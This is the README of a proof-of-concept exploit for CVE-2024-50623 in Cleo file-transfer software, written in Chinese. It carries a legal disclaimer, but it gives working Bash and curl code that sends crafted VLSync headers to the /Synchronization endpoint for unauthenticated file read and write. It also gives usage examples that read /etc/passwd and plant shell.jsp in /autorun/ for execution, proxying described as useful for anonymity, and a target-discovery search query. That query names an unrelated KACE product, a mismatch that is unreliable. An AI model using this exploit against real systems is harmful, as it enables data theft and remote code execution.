Cleo 文件传输软件高危漏洞利用工具 (CVE-2024-50623)
本项目提供了一个针对 Cleo Harmony、VLTrader 和 LexiCom 软件(版本低于 5.8.0.21)中严重安全漏洞 CVE-2024-50623 的概念验证(POC)利用工具。该漏洞允许未经身份验证的攻击者进行不受限制的文件上传与下载,可能导致远程代码执行。
漏洞详情:CVE-2024-50623
免责声明:本概念验证(POC)工具仅用于教育和授权环境下的安全测试。在未获得目标系统所有者明确许可的情况下,使用本工具攻击任何目标均属非法行为。最终用户有责任遵守所有适用的法律法规。开发者不对任何因滥用或误用本程序造成的损害承担责任。
功能特性
- 文件读取:利用漏洞从目标服务器读取任意文件。
- 文件写入:向目标服务器的指定路径写入任意文件。
- 代理支持:支持通过 HTTP/HTTPS 代理发送请求,便于调试或匿名化。
- 日志记录:自动将所有操作和网络交互记录到
exploit.log文件中,便于审计。 - 目标发现:提供 FOFA 搜索语法,帮助识别潜在的受影响系统。
安装指南
系统要求
- 操作系统:Linux / macOS / Windows (通过 WSL 或 Git Bash)
- 依赖项:
curl,bash(通常为大多数 Unix-like 系统的默认组件)
安装步骤
-
克隆项目仓库:
git clone https://github.com/verylazytech/CVE-2024-50623 -
进入项目目录:
cd CVE-2024-50623 -
为脚本添加可执行权限(如果需要):
chmod +x cve-2024-50623.sh
使用说明
基础语法
bash ./cve-2024-50623.sh -t <目标URL> -a <read|write> -f <远程文件路径> [--w <本地文件路径>] [--proxy <代理URL>]
参数说明
-t:目标服务器的 URL (例如https://target.example.com)。-a:操作类型,可选read(读取) 或write(写入)。-f:远程目标文件路径 (例如/etc/passwd或/autorun/evil.txt)。--w:当-a为write时,指定要上传的本地文件路径。--proxy:可选,指定代理服务器 (例如http://127.0.0.1:8080)。
典型使用场景
1. 读取远程文件
以下示例从目标服务器读取 /etc/passwd 文件:
bash ./cve-2024-50623.sh -t https://target.example.com -a read -f /etc/passwd
2. 写入文件到目标
将本地的 shell.jsp 文件上传到目标的 /autorun/ 目录,可能会触发自动执行:
bash ./cve-2024-50623.sh -t https://target.example.com -a write -f /autorun/shell.jsp --w ./shell.jsp
3. 通过代理运行
使用 Burp Suite 或其他代理工具来查看或修改请求:
bash ./cve-2024-50623.sh -t https://target.example.com -a read -f /windows/win.ini --proxy http://127.0.0.1:8080
目标发现
使用以下 FOFA 搜索语法快速定位可能受影响的系统(注意:搜索结果可能包含其他系统,请仔细甄别):
body="packages/partnerlogos/userportal_logo" && title="KACE Systems Management Appliance Service Center"
核心代码
该工具的核心是一个 Bash 脚本,它通过构造特制的 VLSync HTTP 头来与目标 Synchronization 端点进行交互,实现不受限制的文件读写操作。
1. 版本提取函数
该函数向 /Synchronization 端点发送请求,并从响应头中解析服务器版本号,该版本号用于后续的漏洞利用请求。
# Extract version function
extract_version() {
curl -s -k ${PROXY:+--proxy "$PROXY"} "$1/Synchronization" | grep -oP 'Server: .*?/\K[^ ]+'
}
2. 文件读取核心逻辑
通过设置 VLSync 头为 Retrieve 操作,并指定 path 为要读取的文件路径,来诱导服务器返回该文件内容。
read_file() {
local target_version=$(extract_version "$1")
local headers="VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=${target_version};a=1337;po=1337;s=True;b=False;pp=1337;path=$2"
# Fetch the file and log the action
curl -s -k ${PROXY:+--proxy "$PROXY"} -H "$headers" "$1/Synchronization" | tee -a exploit.log
log INFO "Reading file: $2"
}
3. 文件写入核心逻辑
通过设置 VLSync 头为 ADD 操作,并通过 --data-binary 参数将本地文件的内容作为请求体发送,从而在目标服务器上创建或覆盖文件。
write_file() {
local target_version=$(extract_version "$1")
local headers="VLSync: ADD;l=Ab1234-RQ0258;n=VLTrader;v=${target_version};a=1337;po=1337;s=True;b=False;pp=1337;path=$2"
# Send the file data and log the action
curl -s -k ${PROXY:+--proxy "$PROXY"} -H "$headers" --data-binary "@$3" "$1/Synchronization" | tee -a exploit.log
log INFO "Writing file: $2 with data from $3"
}
6HFtX5dABrKlqXeO5PUv/8w+Y9CHol2VpA2aFDLZsUg=